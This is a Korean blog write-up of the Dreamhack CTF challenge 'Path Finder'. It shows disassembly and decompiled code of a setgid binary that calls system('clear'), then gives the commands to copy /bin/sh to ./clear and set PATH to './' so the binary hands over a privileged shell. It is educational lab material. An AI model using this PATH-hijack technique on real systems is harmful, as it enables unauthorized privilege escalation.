[Dreamhack CTF] Path Finder

Sungwuk·2024년 12월 6일
0

dreamhack

목록 보기
16/17

이런 문제고 주어지는 파일은 바이너리 파일이다.

IDA로 이걸 열어보면

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     edx, 3E9h       ; sgid
mov     esi, 3E9h       ; egid
mov     edi, 3E9h       ; rgid
mov     eax, 0
call    _setresgid
lea     rax, command    ; "clear"
mov     rdi, rax        ; command
call    _system
lea     rax, s          ; "Tada~!"
mov     rdi, rax        ; s
call    _puts
mov     eax, 0
pop     rbp
retn
; } // starts at 1189
main endp

_text ends

이런게 나오고 이걸 디컴파일하면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setresgid(0x3E9u, 0x3E9u, 0x3E9u);
  system("clear");
  puts("Tada~!");
  return 0;
}

이런게 나온다

아직 딱히 힌트라고 할만한게 없다.

그럼 ssh로 접근해보자

ls

whoami로 보면 난 pwn인데 chal이랑 flag를 실행할려면 pwned 권한이 필요하다.

좀 찾아보니 환경변수를 조작하여 권한을 얻어야 한다.

export로 환경변수를 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setresgid(0x3E9u, 0x3E9u, 0x3E9u);
  system("clear");
  puts("Tada~!");
  return 0;
}

다시 코드를 보면 setresgid()는 권한 관련 함수이다. 이건 건드리지 말고 system()을 건드려야 한다. 원래 ./chal로 실행하면 clear가 실행되서 티머널을 초기화한다.

export PATH="./"

이런식으로 환경변수를 조작할 수 있는데

/bin/cp /bin/sh ./clear
$ export PATH="./"

이런식으로 clear를 실행하면 쉘 코드가 실행되도록 PATH 경로를 바꿔준다.

profile
보안전문가 꿈나무

0개의 댓글